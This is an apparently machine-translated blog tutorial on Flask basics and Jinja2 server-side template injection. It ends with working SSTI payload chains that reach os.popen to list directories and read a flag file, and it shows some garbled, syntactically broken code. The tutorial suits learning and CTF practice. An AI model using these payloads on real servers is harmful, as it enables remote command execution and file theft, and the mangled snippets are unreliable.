flask template injection

Flask basics

ssti: SSTI is Server-Side Template Injection, and it also gives a concept of injection. By interacting with the input and output of the server template, malicious input data is constructed without strict filtering, so as to achieve The purpose of reading files or getshell

Because flask uses the Jinja2 rendering engine, you can use variables or {% %} to execute python statements on the front end in the form of { {}}. There is a possibility of injection ( if you don’t understand, look at flask first! )
Because flask is the python language, So some built-in functions in python can be used in flask, we can use this to read and write files, execute commands and so on.

Before learning SSTI, first understand the operation process of flask. In this way, a faster understanding of the principle can be used.

Local construction of flask environment (slightly detailed)

I chose pycharm to build flask, and students can download the professional version for free. I won't talk about the download and installation step.

Environment: python 3.6+
foundation: 0-
simple test

Pycharm installs Flask and automatically imports the modules required by Flask, so we only need to order to install the required packages. It is recommended to use python3.6 to learn instead of 2.X. After all, django will almost not support 2.X. , Early change and early superbirth. Python 3.6 is also automatically imported.
Insert picture description here
There will be a small error when running here, because we have not installed the flask module yet.
Insert picture description here

routing

from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    return "hello world"

if __name__ == '__main__':
   app.run()

,,

route decorator route

@app.route(’/’)

Use the route() decorator to tell Flask what kind of URL can trigger our function. The route() decorator binds a function to the corresponding URL. This sentence is equivalent to routing. A route follows a function, such as

@app.route('/')
def test()"
   return 123

Visit 127.0.0.1:5000/ will output 123, let's modify the rules

@app.route('/test')
def test()"
   return 123

At this time, access to 127.0.0.1:5000/test will output 123.
In addition, you can also set a dynamic URL,

@app.route("/hello/<username>")
def hello_user(username):
  return "user:%s"%username

According to the input in the url, the identity is dynamically identified, and you can see the following page at this time:

main entrance

When the .py file is run directly, the code block under if name =='main' will be run; when the .py file is imported as a module, the code block under if name =='main' will not be run run. If you often run small python scripts written by yourself in cmd mode, then you don’t need this thing, but if you need to do a slightly larger python development, writing if name =='main__' is a good habit, larger python The script should be written in several files separately. One file should use another file, which is a module. At this time, this if will work and will not run but is used similar to file inclusion.

if __name__ == '__main__':
    app.debug = True
    app.run()

When testing, we can use debug to facilitate debugging, add a sentence

app.debug = True

Or (the effect is the same)
app.run(debug=True)

In this way, when we modify the code, we save it directly and refresh the web page. If debug is not added, then the program must be run once every time the code is modified, and the previous program will be closed. Otherwise, it will be overwritten by the previous program.

app.run(host=‘0.0.0.0’)

This will allow the operating system to listen to all public network IPs, and you can see your web on the public network at this time.

Rendering method

render_template 用来渲染一个指定的文件的
render_template_string 用来渲染一个字符串

render_template
You can use the render_template() method to render the template. All you need to do is to pass the template name and the parameters you want as keywords to the template variables. Here is a short example showing how to render a template:

Simple template rendering example

from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
        return render_template('hello.html', name=name)//我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看

Let's start with template rendering, because we are not doing development after all. Flask is famous for template injection...! , So let's start with flask template rendering and analyze it in depth.

First of all, we must figure out the template rendering system. The render_template function renders the template in templates. The so-called template is our own html, and the parameters inside need to be passed in dynamic variables according to the needs of each user.

├── app.py
└── templates
└── index.html
We write an index.html file and write it in the templates folder.

<html>
  <head>
    <title>{
   
   {title}} - 小猪佩奇</title>
  </head>
 <body>
      <h1>Hello, {
   
   {user}}</h1>
  </body>
</html>

There are two parameters we need to render, user.name, and title

We render in the app.py file.

from flask import render_template
from flask import Flask
from flask import request
app = Flask(__name__)


@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
   user = {
    
    'name': '小猪佩奇'}#传入一个字典数组
   return render_template("index.html",title='Home',user=request.args.get("key"))
   # request.args.get:用get获取一个参数
   # render_template:渲染一个html的文件

if __name__ == '__main__':
   app.run()

Run render_template_string here
Insert picture description here

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{
    
    { code }}</h1>',code=code

Insert picture description here

injection

Through the inheritance of Python objects, use magic methods to find available methods to execute step by step. That is, find the parent class <type'object'> -> look for the subclass -> find the module about command execution or file operation

os.system 退出状态码
os.popen 以file形式返回输出内容

The magic method of the object:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

step

#Test whether there is template injection

{ {1+1}}
[Construct a simple payload to see if the server has an echo]

#Get the object of the string

‘’.class
<class ‘str’>

#Get the parent class of str class

‘’.class.mro
(<class ‘str’>, <class ‘object’>)

#Get all subclasses of object class

‘’.class.mro[1].subclasses()
[<class ‘type’>, <class ‘weakref’>, <class ‘weakcallableproxy’>, <class ‘weakproxy’>, <class ‘int’>, <class ‘bytearray’>, <class ‘bytes’>, <class ‘list’>, <class ‘NoneType’>, <class ‘NotImplementedType’>, <class ‘traceback’>, <class ‘super’>…

#Find the position of the required class in the list (starting from position 0)

''. class . mro [2]. subclasses ()[71]. init . globals ['os'].popen('Command line statement
').read() [popen('ls').read(), It means to get the result of ls and read it to the variable, so it will print all the files in the current directory on our webpage]

#Read file content

‘’.class.mro[1].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()

Common payload:

‘’.class.mro[2].subclasses()40.read()
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].system(‘ls’)
‘’.class.mro[1].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()

Reference:
Understanding @app.route(

Decorator

SSTI (template injection) basic summary

python sandbox escape

Guess you like

Origin blog.csdn.net/qq_45951598/article/details/110489314